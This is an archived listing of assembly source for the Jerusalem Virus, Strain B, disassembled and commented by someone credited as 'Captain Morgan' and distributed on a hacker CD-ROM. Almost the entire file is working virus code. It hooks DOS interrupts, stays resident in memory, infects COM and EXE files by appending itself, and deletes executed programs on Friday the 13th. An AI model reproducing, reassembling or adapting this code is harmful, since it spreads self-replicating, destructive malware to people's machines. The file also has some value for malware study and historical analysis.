home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / je.asm < prev    next >
Assembly Source File  |  1995-01-03  |  17KB  |  723 lines

  1. PAGE  59,132
  2.  
  3. ;*****************************************************************************
  4. ;                 Jerusalem Virus - Strain B
  5. ;
  6. ;                 Disassembled and commented by:
  7. ;
  8. ;                - Captain Morgan -
  9. ;*****************************************************************************
  10.  
  11.   
  12. .286c
  13.   
  14. data_1e        equ    2Ch
  15. data_2e        equ    43h
  16. data_3e        equ    45h
  17. data_4e        equ    47h
  18. data_5e        equ    49h
  19. data_6e        equ    51h
  20. data_7e        equ    53h
  21. data_8e        equ    57h
  22. data_9e        equ    5Dh
  23. data_10e    equ    5Fh
  24. data_11e    equ    61h
  25. data_12e    equ    63h
  26. data_13e    equ    65h
  27. data_14e    equ    78h
  28. data_15e    equ    7Ah
  29. data_16e    equ    7Ch
  30. data_17e    equ    7Eh
  31. data_18e    equ    0Ah
  32. data_19e    equ    0Ch
  33. data_20e    equ    0Eh
  34. data_21e    equ    0Fh
  35. data_22e    equ    11h
  36. data_23e    equ    13h
  37. data_24e    equ    15h
  38. data_25e    equ    17h
  39. data_26e    equ    19h
  40. data_27e    equ    1Bh
  41. data_28e    equ    1Dh
  42. data_29e    equ    1Fh
  43. data_30e    equ    29h
  44. data_31e    equ    2Bh
  45. data_32e    equ    2Dh
  46. data_33e    equ    2Fh
  47. data_34e    equ    31h
  48. data_35e    equ    33h
  49. data_36e    equ    4Eh
  50. data_37e    equ    70h
  51. data_38e    equ    72h
  52. data_39e    equ    74h
  53. data_40e    equ    76h
  54. data_41e    equ    7Ah
  55. data_42e    equ    80h
  56. data_43e    equ    82h
  57. data_44e    equ    8Fh
  58.   
  59. seg_a        segment
  60.         assume    cs:seg_a, ds:seg_a
  61.   
  62.   
  63.         org    100h
  64.   
  65. je        proc    far
  66.   
  67. start:
  68.         jmp    loc_2            ; (0195)
  69.         db    73h, 55h, 4Dh, 73h, 44h, 6Fh
  70.         db    73h, 0, 1, 0EBh, 21h, 0
  71.         db    0, 0, 0ABh, 0Bh, 2Ch, 2
  72.         db    70h, 0, 92h, 0Eh, 29h, 1Ah
  73.         db    0EBh, 4, 59h, 6Fh, 0A8h
  74.         db    7Bh
  75.         db    13 dup (0)
  76.         db    0E8h, 6, 0D7h, 62h, 21h, 80h
  77.         db    0, 0, 0, 80h, 0, 62h
  78.         db    21h, 5Ch, 0, 62h, 21h, 6Ch
  79.         db    0, 62h, 21h, 10h, 7, 60h
  80.         db    5Bh, 0C5h, 0, 60h, 5Bh, 0
  81.         db    0F0h, 6, 0, 4Dh, 5Ah, 30h
  82.         db    0, 53h, 0, 1Fh, 0, 20h
  83.         db    0, 0, 0, 0FFh, 0FFh, 0B2h
  84.         db    9, 10h, 7, 84h, 19h, 0C5h
  85.         db    0, 0B2h, 9, 20h, 0, 0
  86.         db    0, 2Eh, 0Dh, 0Ah, 0, 0
  87.         db    5, 0, 20h, 0, 26h, 12h
  88.         db    46h, 0A3h, 0, 2, 10h, 0
  89.         db    20h, 9Dh, 0, 0, 7Bh, 3Dh
  90.         db    2Eh, 9Bh
  91.         db    'COMMAND.COM'
  92.         db    1, 0, 0, 0, 0, 0
  93. loc_2:
  94.         cld                ; Clear direction
  95.         mov    ah,0E0h
  96.         int    21h            ; DOS Services  ah=function E0h
  97.         cmp    ah,0E0h
  98.         jae    loc_3            ; Jump if above or =
  99.         cmp    ah,3
  100.         jb    loc_3            ; Jump if below
  101.         mov    ah,0DDh
  102.         mov    di,100h
  103.         mov    si,710h
  104.         add    si,di
  105.         mov    cx,cs:[di+11h]
  106.         nop                ;*Fixup for MASM (M)
  107.         int    21h            ; DOS Services  ah=function DDh
  108. loc_3:
  109.         mov    ax,cs
  110.         add    ax,10h
  111.         mov    ss,ax
  112.         mov    sp,700h
  113. loc_4:
  114.         push    ax
  115.         mov    ax,0C5h
  116.         push    ax
  117.         retf                ; Return far
  118.         db    0FCh, 6, 2Eh, 8Ch, 6, 31h
  119.         db    0, 2Eh, 8Ch, 6, 39h, 0
  120.         db    2Eh, 8Ch, 6, 3Dh, 0, 2Eh
  121.         db    8Ch, 6, 41h, 0, 8Ch, 0C0h
  122.         db    5, 10h, 0, 2Eh, 1, 6
  123.         db    49h, 0, 2Eh, 1, 6, 45h
  124.         db    0, 0B4h, 0E0h, 0CDh, 21h, 80h
  125.         db    0FCh, 0E0h, 73h, 13h, 80h, 0FCh
  126.         db    3, 7, 2Eh, 8Eh, 16h, 45h
  127.         db    0, 2Eh, 8Bh, 26h, 43h, 0
  128.         db    2Eh, 0FFh, 2Eh, 47h, 0, 33h
  129.         db    0C0h, 8Eh, 0C0h, 26h, 0A1h, 0FCh
  130.         db    3, 2Eh, 0A3h, 4Bh, 0, 26h
  131.         db    0A0h, 0FEh, 3, 2Eh, 0A2h, 4Dh
  132.         db    0
  133.         db    26h
  134.   
  135. je        endp
  136.   
  137. ;██████████████████████████████████████████████████████████████████████████
  138. ;
  139. ;            External Entry Point
  140. ;
  141. ;██████████████████████████████████████████████████████████████████████████
  142.   
  143. int_24h_entry    proc    far
  144.         mov    word ptr ds:[3FCh],0A5F3h
  145.         mov    byte ptr es:data_47,0CBh
  146.         pop    ax
  147.         add    ax,10h
  148.         mov    es,ax
  149.         push    cs
  150.         pop    ds
  151.         mov    cx,710h
  152.         shr    cx,1            ; Shift w/zeros fill
  153.         xor    si,si            ; Zero register
  154.         mov    di,si
  155.         push    es
  156.         mov    ax,142h
  157.         push    ax
  158. ;*        jmp    far ptr loc_1        ;*(0000:03FC)
  159.         db    0EAh, 0FCh, 3, 0, 0
  160.         db    8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0
  161.         db    7, 33h, 0C0h, 8Eh, 0D8h, 2Eh
  162.         db    0A1h, 4Bh, 0, 0A3h, 0FCh, 3
  163.         db    2Eh, 0A0h, 4Dh, 0, 0A2h, 0FEh
  164.         db    3
  165. int_24h_entry    endp
  166.   
  167.   
  168. ;██████████████████████████████████████████████████████████████████████████
  169. ;
  170. ;            External Entry Point
  171. ;
  172. ;██████████████████████████████████████████████████████████████████████████
  173.   
  174. int_21h_entry    proc    far
  175.         mov    bx,sp
  176.         mov    cl,4
  177.         shr    bx,cl            ; Shift w/zeros fill
  178.         add    bx,10h
  179.         mov    cs:data_35e,bx
  180.         mov    ah,4Ah            ; 'J'
  181.         mov    es,cs:data_34e
  182.         int    21h            ; DOS Services  ah=function 4Ah
  183.                         ;  change mem allocation, bx=siz
  184.         mov    ax,3521h
  185.         int    21h            ; DOS Services  ah=function 35h
  186.                         ;  get intrpt vector al in es:bx
  187.         mov    cs:data_25e,bx
  188.         mov    cs:data_26e,es
  189.         push    cs
  190.         pop    ds
  191.         mov    dx,25Bh
  192.         mov    ax,2521h
  193.         int    21h            ; DOS Services  ah=function 25h
  194.                         ;  set intrpt vector al to ds:dx
  195.         mov    es,ds:data_34e
  196.         mov    es,es:data_1e
  197.         xor    di,di            ; Zero register
  198.         mov    cx,7FFFh
  199.         xor    al,al            ; Zero register
  200.   
  201. locloop_5:
  202.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  203.         cmp    es:[di],al
  204.         loopnz    locloop_5        ; Loop if zf=0, cx>0
  205.   
  206.         mov    dx,di
  207.         add    dx,3
  208.         mov    ax,4B00h
  209.         push    es
  210.         pop    ds
  211.         push    cs
  212.         pop    es
  213.         mov    bx,35h
  214.         push    ds
  215.         push    es
  216.         push    ax
  217.         push    bx
  218.         push    cx
  219.         push    dx
  220.         mov    ah,2Ah            ; '*'
  221.         int    21h            ; DOS Services  ah=function 2Ah
  222.                         ;  get date, cx=year, dx=mon/day
  223.         mov    byte ptr cs:data_20e,0
  224.         cmp    cx,7C3h
  225.         je    loc_7            ; Jump if equal
  226.         cmp    al,5            ; Check to see if it's Friday
  227.         jne    loc_6            ; Jump if not equal
  228.         cmp    dl,0Dh            ; Check to see if it's the 13th
  229.         jne    loc_6            ; Jump if not equal
  230.         inc    byte ptr cs:data_20e
  231.         jmp    short loc_7        ; (02F7)
  232.         db    90h
  233. loc_6:
  234.         mov    ax,3508h
  235.         int    21h            ; DOS Services  ah=function 35h
  236.                         ;  get intrpt vector al in es:bx
  237.         mov    cs:data_23e,bx
  238.         mov    cs:data_24e,es
  239.         push    cs
  240.         pop    ds
  241.         mov    word ptr ds:data_29e,7E90h
  242.         mov    ax,2508h
  243.         mov    dx,21Eh
  244.         int    21h            ; DOS Services  ah=function 25h
  245.                         ;  set intrpt vector al to ds:dx
  246. loc_7:
  247.         pop    dx
  248.         pop    cx
  249.         pop    bx
  250.         pop    ax
  251.         pop    es
  252.         pop    ds
  253.         pushf                ; Push flags
  254.         call    dword ptr cs:data_25e
  255.         push    ds
  256.         pop    es
  257.         mov    ah,49h            ; 'I'
  258.         int    21h            ; DOS Services  ah=function 49h
  259.                         ;  release memory block, es=seg
  260.         mov    ah,4Dh            ; 'M'
  261.         int    21h            ; DOS Services  ah=function 4Dh
  262.                         ;  get return code info in ax
  263.         mov    ah,31h            ; '1'
  264.         mov    dx,600h
  265.         mov    cl,4
  266.         shr    dx,cl            ; Shift w/zeros fill
  267.         add    dx,10h
  268.         int    21h            ; DOS Services  ah=function 31h
  269.                         ;  terminate & stay resident
  270.         db    32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh
  271.         db    1Fh, 0, 2, 75h, 17h, 50h
  272.         db    53h, 51h, 52h, 55h, 0B8h, 2
  273.         db    6, 0B7h, 87h, 0B9h, 5, 5
  274.         db    0BAh, 10h, 10h, 0CDh, 10h, 5Dh
  275.         db    5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh
  276.         db    0Eh, 1Fh, 0, 75h, 12h, 2Eh
  277.         db    0C7h, 6, 1Fh, 0, 1, 0
  278.         db    50h, 51h, 56h, 0B9h, 1, 40h
  279.         db    0F3h, 0ACh
  280.         db    5Eh, 59h, 58h
  281. loc_8:
  282.         jmp    dword ptr cs:data_23e
  283.         db    9Ch, 80h, 0FCh, 0E0h, 75h, 5
  284.         db    0B8h, 0, 3, 9Dh, 0CFh, 80h
  285.         db    0FCh, 0DDh, 74h, 13h, 80h, 0FCh
  286.         db    0DEh, 74h, 28h, 3Dh, 0, 4Bh
  287.         db    75h, 3, 0E9h, 0B4h, 0
  288. loc_9:
  289.         popf                ; Pop flags
  290.         jmp    dword ptr cs:data_25e
  291. loc_10:
  292.         pop    ax
  293.         pop    ax
  294.         mov    ax,100h
  295.         mov    cs:data_18e,ax
  296.         pop    ax
  297.         mov    cs:data_19e,ax
  298.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  299.         popf                ; Pop flags
  300.         mov    ax,cs:data_21e
  301.         jmp    dword ptr cs:data_18e
  302. loc_11:
  303.         add    sp,6
  304.         popf                ; Pop flags
  305.         mov    ax,cs
  306.         mov    ss,ax
  307.         mov    sp,710h
  308.         push    es
  309.         push    es
  310.         xor    di,di            ; Zero register
  311.         push    cs
  312.         pop    es
  313.         mov    cx,10h
  314.         mov    si,bx
  315.         mov    di,21h
  316.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  317.         mov    ax,ds
  318.         mov    es,ax
  319.         mul    word ptr cs:data_41e    ; ax = data * ax
  320.         add    ax,cs:data_31e
  321.         adc    dx,0
  322.         div    word ptr cs:data_41e    ; ax,dxrem=dx:ax/data
  323.         mov    ds,ax
  324.         mov    si,dx
  325.         mov    di,dx
  326.         mov    bp,es
  327.         mov    bx,cs:data_33e
  328.         or    bx,bx            ; Zero ?
  329.         jz    loc_13            ; Jump if zero
  330. loc_12:
  331.         mov    cx,8000h
  332.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  333.         add    ax,1000h
  334.         add    bp,1000h
  335.         mov    ds,ax
  336.         mov    es,bp
  337.         dec    bx
  338.         jnz    loc_12            ; Jump if not zero
  339. loc_13:
  340.         mov    cx,cs:data_32e
  341.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  342.         pop    ax
  343.         push    ax
  344.         add    ax,10h
  345.         add    cs:data_30e,ax
  346. data_47        db    2Eh
  347.         db    1, 6, 25h, 0, 2Eh, 0A1h
  348.         db    21h, 0, 1Fh, 7, 2Eh, 8Eh
  349.         db    16h, 29h, 0, 2Eh, 8Bh, 26h
  350.         db    27h, 0, 2Eh, 0FFh, 2Eh, 23h
  351.         db    0
  352. loc_14:
  353.         xor    cx,cx            ; Zero register
  354.         mov    ax,4301h
  355.         int    21h            ; DOS Services  ah=function 43h
  356.                         ;  get/set file attrb, nam@ds:dx
  357.         mov    ah,41h            ; 'A'
  358.         int    21h            ; DOS Services  ah=function 41h
  359.                         ;  delete file, name @ ds:dx
  360.         mov    ax,4B00h
  361.         popf                ; Pop flags
  362.         jmp    dword ptr cs:data_25e
  363. loc_15:
  364.         cmp    byte ptr cs:data_20e,1
  365.         je    loc_14            ; Jump if equal
  366.         mov    word ptr cs:data_37e,0FFFFh
  367.         mov    word ptr cs:data_44e,0
  368.         mov    cs:data_42e,dx
  369.         mov    cs:data_43e,ds
  370.         push    ax
  371.         push    bx
  372.         push    cx
  373.         push    dx
  374.         push    si
  375.         push    di
  376.         push    ds
  377.         push    es
  378.         cld                ; Clear direction
  379.         mov    di,dx
  380.         xor    dl,dl            ; Zero register
  381.         cmp    byte ptr [di+1],3Ah    ; ':'
  382.         jne    loc_16            ; Jump if not equal
  383.         mov    dl,[di]
  384.         and    dl,1Fh
  385. loc_16:
  386.         mov    ah,36h            ; '6'
  387.         int    21h            ; DOS Services  ah=function 36h
  388.                         ;  get free space, drive dl,1=a:
  389.         cmp    ax,0FFFFh
  390.         jne    loc_18            ; Jump if not equal
  391. loc_17:
  392.         jmp    loc_44            ; (06E7)
  393. loc_18:
  394.         mul    bx            ; dx:ax = reg * ax
  395.         mul    cx            ; dx:ax = reg * ax
  396.         or    dx,dx            ; Zero ?
  397.         jnz    loc_19            ; Jump if not zero
  398.         cmp    ax,710h
  399.         jb    loc_17            ; Jump if below
  400. loc_19:
  401.         mov    dx,cs:data_42e
  402.         push    ds
  403.         pop    es
  404.         xor    al,al            ; Zero register
  405.         mov    cx,41h
  406.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  407.         mov    si,cs:data_42e
  408. loc_20:
  409.         mov    al,[si]
  410.         or    al,al            ; Zero ?
  411.         jz    loc_22            ; Jump if zero
  412.         cmp    al,61h            ; 'a'
  413.         jb    loc_21            ; Jump if below
  414.         cmp    al,7Ah            ; 'z'
  415.         ja    loc_21            ; Jump if above
  416.         sub    byte ptr [si],20h    ; ' '
  417. loc_21:
  418.         inc    si
  419.         jmp    short loc_20        ; (0490)
  420. loc_22:
  421.         mov    cx,0Bh
  422.         sub    si,cx
  423.         mov    di,84h
  424.         push    cs
  425.         pop    es
  426.         mov    cx,0Bh
  427.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  428.         jnz    loc_23            ; Jump if not zero
  429.         jmp    loc_44            ; (06E7)
  430. loc_23:
  431.         mov    ax,4300h
  432.         int    21h            ; DOS Services  ah=function 43h
  433.                         ;  get/set file attrb, nam@ds:dx
  434.         jc    loc_24            ; Jump if carry Set
  435.         mov    cs:data_38e,cx
  436. loc_24:
  437.         jc    loc_26            ; Jump if carry Set
  438.         xor    al,al            ; Zero register
  439.         mov    cs:data_36e,al
  440.         push    ds
  441.         pop    es
  442.         mov    di,dx
  443.         mov    cx,41h
  444.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  445.         cmp    byte ptr [di-2],4Dh    ; 'M'
  446.         je    loc_25            ; Jump if equal
  447.         cmp    byte ptr [di-2],6Dh    ; 'm'
  448.         je    loc_25            ; Jump if equal
  449.         inc    byte ptr cs:data_36e
  450. loc_25:
  451.         mov    ax,3D00h
  452.         int    21h            ; DOS Services  ah=function 3Dh
  453.                         ;  open file, al=mode,name@ds:dx
  454. loc_26:
  455.         jc    loc_28            ; Jump if carry Set
  456.         mov    cs:data_37e,ax
  457.         mov    bx,ax
  458.         mov    ax,4202h
  459.         mov    cx,0FFFFh
  460.         mov    dx,0FFFBh
  461.         int    21h            ; DOS Services  ah=function 42h
  462.                         ;  move file ptr, cx,dx=offset
  463.         jc    loc_26            ; Jump if carry Set
  464.         add    ax,5
  465.         mov    cs:data_22e,ax
  466.         mov    cx,5
  467.         mov    dx,6Bh
  468.         mov    ax,cs
  469.         mov    ds,ax
  470.         mov    es,ax
  471.         mov    ah,3Fh            ; '?'
  472.         int    21h            ; DOS Services  ah=function 3Fh
  473.                         ;  read file, cx=bytes, to ds:dx
  474.         mov    di,dx
  475.         mov    si,5
  476.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  477.         jnz    loc_27            ; Jump if not zero
  478.         mov    ah,3Eh            ; '>'
  479.         int    21h            ; DOS Services  ah=function 3Eh
  480.                         ;  close file, bx=file handle
  481.         jmp    loc_44            ; (06E7)
  482. loc_27:
  483.         mov    ax,3524h
  484.         int    21h            ; DOS Services  ah=function 35h
  485.                         ;  get intrpt vector al in es:bx
  486.         mov    ds:data_27e,bx
  487.         mov    ds:data_28e,es
  488.         mov    dx,21Bh
  489.         mov    ax,2524h
  490.         int    21h            ; DOS Services  ah=function 25h
  491.                         ;  set intrpt vector al to ds:dx
  492.         lds    dx,dword ptr ds:data_42e    ; Load 32 bit ptr
  493.         xor    cx,cx            ; Zero register
  494.         mov    ax,4301h
  495.         int    21h            ; DOS Services  ah=function 43h
  496.                         ;  get/set file attrb, nam@ds:dx
  497. loc_28:
  498.         jc    loc_29            ; Jump if carry Set
  499.         mov    bx,cs:data_37e
  500.         mov    ah,3Eh            ; '>'
  501.         int    21h            ; DOS Services  ah=function 3Eh
  502.                         ;  close file, bx=file handle
  503.         mov    word ptr cs:data_37e,0FFFFh
  504.         mov    ax,3D02h
  505.         int    21h            ; DOS Services  ah=function 3Dh
  506.                         ;  open file, al=mode,name@ds:dx
  507.         jc    loc_29            ; Jump if carry Set
  508.         mov    cs:data_37e,ax
  509.         mov    ax,cs
  510.         mov    ds,ax
  511.         mov    es,ax
  512.         mov    bx,ds:data_37e
  513.         mov    ax,5700h
  514.         int    21h            ; DOS Services  ah=function 57h
  515.                         ;  get/set file date & time
  516.         mov    ds:data_39e,dx
  517.         mov    ds:data_40e,cx
  518.         mov    ax,4200h
  519.         xor    cx,cx            ; Zero register
  520.         mov    dx,cx
  521.         int    21h            ; DOS Services  ah=function 42h
  522.                         ;  move file ptr, cx,dx=offset
  523. loc_29:
  524.         jc    loc_32            ; Jump if carry Set
  525.         cmp    byte ptr ds:data_36e,0
  526.         je    loc_30            ; Jump if equal
  527.         jmp    short loc_34        ; (05E6)
  528.         db    90h
  529. loc_30:
  530.         mov    bx,1000h
  531.         mov    ah,48h            ; 'H'
  532.         int    21h            ; DOS Services  ah=function 48h
  533.                         ;  allocate memory, bx=bytes/16
  534.         jnc    loc_31            ; Jump if carry=0
  535.         mov    ah,3Eh            ; '>'
  536.         mov    bx,ds:data_37e
  537.         int    21h            ; DOS Services  ah=function 3Eh
  538.                         ;  close file, bx=file handle
  539.         jmp    loc_44            ; (06E7)
  540. loc_31:
  541.         inc    word ptr ds:data_44e
  542.         mov    es,ax
  543.         xor    si,si            ; Zero register
  544.         mov    di,si
  545.         mov    cx,710h
  546.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  547.         mov    dx,di
  548.         mov    cx,ds:data_22e
  549.         mov    bx,ds:data_37e
  550.         push    es
  551.         pop    ds
  552.         mov    ah,3Fh            ; '?'
  553.         int    21h            ; DOS Services  ah=function 3Fh
  554.                         ;  read file, cx=bytes, to ds:dx
  555. loc_32:
  556.         jc    loc_33            ; Jump if carry Set
  557.         add    di,cx
  558.         xor    cx,cx            ; Zero register
  559.         mov    dx,cx
  560.         mov    ax,4200h
  561.         int    21h            ; DOS Services  ah=function 42h
  562.                         ;  move file ptr, cx,dx=offset
  563.         mov    si,5
  564.         mov    cx,5
  565.         rep    movs  byte ptr es:[di],cs:[si]    ; Rep when cx >0 Mov [si] to es:[di]
  566.         mov    cx,di
  567.         xor    dx,dx            ; Zero register
  568.         mov    ah,40h            ; '@'
  569.         int    21h            ; DOS Services  ah=function 40h
  570.                         ;  write file cx=bytes, to ds:dx
  571. loc_33:
  572.         jc    loc_35            ; Jump if carry Set
  573.         jmp    loc_42            ; (06A2)
  574. loc_34:
  575.         mov    cx,1Ch
  576.         mov    dx,4Fh
  577.         mov    ah,3Fh            ; '?'
  578.         int    21h            ; DOS Services  ah=function 3Fh
  579.                         ;  read file, cx=bytes, to ds:dx
  580. loc_35:
  581.         jc    loc_37            ; Jump if carry Set
  582.         mov    word ptr ds:data_11e,1984h
  583.         mov    ax,ds:data_9e
  584.         mov    ds:data_3e,ax
  585.         mov    ax,ds:data_10e
  586.         mov    ds:data_2e,ax
  587.         mov    ax,ds:data_12e
  588.         mov    ds:data_4e,ax
  589.         mov    ax,ds:data_13e
  590.         mov    ds:data_5e,ax
  591.         mov    ax,ds:data_7e
  592.         cmp    word ptr ds:data_6e,0
  593.         je    loc_36            ; Jump if equal
  594.         dec    ax
  595. loc_36:
  596.         mul    word ptr ds:data_14e    ; ax = data * ax
  597.         add    ax,ds:data_6e
  598.         adc    dx,0
  599.         add    ax,0Fh
  600.         adc    dx,0
  601.         and    ax,0FFF0h
  602.         mov    ds:data_16e,ax
  603.         mov    ds:data_17e,dx
  604.         add    ax,710h
  605.         adc    dx,0
  606. loc_37:
  607.         jc    loc_39            ; Jump if carry Set
  608.         div    word ptr ds:data_14e    ; ax,dxrem=dx:ax/data
  609.         or    dx,dx            ; Zero ?
  610.         jz    loc_38            ; Jump if zero
  611.         inc    ax
  612. loc_38:
  613.         mov    ds:data_7e,ax
  614.         mov    ds:data_6e,dx
  615.         mov    ax,ds:data_16e
  616.         mov    dx,ds:data_17e
  617.         div    word ptr ds:data_15e    ; ax,dxrem=dx:ax/data
  618.         sub    ax,ds:data_8e
  619.         mov    ds:data_13e,ax
  620.         mov    word ptr ds:data_12e,0C5h
  621.         mov    ds:data_9e,ax
  622.         mov    word ptr ds:data_10e,710h
  623.         xor    cx,cx            ; Zero register
  624.         mov    dx,cx
  625.         mov    ax,4200h
  626.         int    21h            ; DOS Services  ah=function 42h
  627.                         ;  move file ptr, cx,dx=offset
  628. loc_39:
  629.         jc    loc_40            ; Jump if carry Set
  630.         mov    cx,1Ch
  631.         mov    dx,4Fh
  632.         mov    ah,40h            ; '@'
  633.         int    21h            ; DOS Services  ah=function 40h
  634.                         ;  write file cx=bytes, to ds:dx
  635. loc_40:
  636.         jc    loc_41            ; Jump if carry Set
  637.         cmp    ax,cx
  638.         jne    loc_42            ; Jump if not equal
  639.         mov    dx,ds:data_16e
  640.         mov    cx,ds:data_17e
  641.         mov    ax,4200h
  642.         int    21h            ; DOS Services  ah=function 42h
  643.                         ;  move file ptr, cx,dx=offset
  644. loc_41:
  645.         jc    loc_42            ; Jump if carry Set
  646.         xor    dx,dx            ; Zero register
  647.         mov    cx,710h
  648.         mov    ah,40h            ; '@'
  649.         int    21h            ; DOS Services  ah=function 40h
  650.                         ;  write file cx=bytes, to ds:dx
  651. loc_42:
  652.         cmp    word ptr cs:data_44e,0
  653.         je    loc_43            ; Jump if equal
  654.         mov    ah,49h            ; 'I'
  655.         int    21h            ; DOS Services  ah=function 49h
  656.                         ;  release memory block, es=seg
  657. loc_43:
  658.         cmp    word ptr cs:data_37e,0FFFFh
  659.         je    loc_44            ; Jump if equal
  660.         mov    bx,cs:data_37e
  661.         mov    dx,cs:data_39e
  662.         mov    cx,cs:data_40e
  663.         mov    ax,5701h
  664.         int    21h            ; DOS Services  ah=function 57h
  665.                         ;  get/set file date & time
  666.         mov    ah,3Eh            ; '>'
  667.         int    21h            ; DOS Services  ah=function 3Eh
  668.                         ;  close file, bx=file handle
  669.         lds    dx,dword ptr cs:data_42e    ; Load 32 bit ptr
  670.         mov    cx,cs:data_38e
  671.         mov    ax,4301h
  672.         int    21h            ; DOS Services  ah=function 43h
  673.                         ;  get/set file attrb, nam@ds:dx
  674.         lds    dx,dword ptr cs:data_27e    ; Load 32 bit ptr
  675.         mov    ax,2524h
  676.         int    21h            ; DOS Services  ah=function 25h
  677.                         ;  set intrpt vector al to ds:dx
  678. loc_44:
  679.         pop    es
  680.         pop    ds
  681.         pop    di
  682.         pop    si
  683.         pop    dx
  684.         pop    cx
  685.         pop    bx
  686.         pop    ax
  687.         popf                ; Pop flags
  688.         jmp    dword ptr cs:data_25e
  689.         db    11 dup (0)
  690.         db    4Dh, 63h, 21h, 4
  691.         db    13 dup (0)
  692.         db    5Bh, 0, 0, 0, 2Bh, 0
  693.         db    0FFh
  694.         db    17 dup (0FFh)
  695.         db    'E:\SV\EXECDOS.BAT'
  696.         db    0
  697.         db    'EXECDOS', 0Dh
  698.         db    0, 7Dh, 0, 0, 80h, 0
  699.         db    53h, 0Eh, 5Ch, 0, 53h, 0Eh
  700.         db    6Ch, 4Dh, 63h, 21h, 0, 10h
  701.         db    'EC=F:\DOS\C'
  702.         db    0E9h, 92h, 0, 73h, 55h, 4Dh
  703.         db    73h, 44h, 6Fh, 73h, 0, 1
  704.         db    0B8h, 22h, 0, 0, 0, 1Ah
  705.         db    3, 2Ch, 2, 70h, 0
  706. loc_45:
  707.         xchg    ax,dx
  708.         push    cs
  709.         sub    [bp+si],bx
  710. ;*        jmp    short loc_46        ;*(0781)
  711.         db    0EBh, 4
  712.         db    63h, 21h, 0D0h, 59h
  713. int_21h_entry    endp
  714.   
  715.   
  716. seg_a        ends
  717.   
  718.   
  719.   
  720.         end    start
  721. 
  722. Downloaded From P-80 International Information Systems 304-744-2253
  723.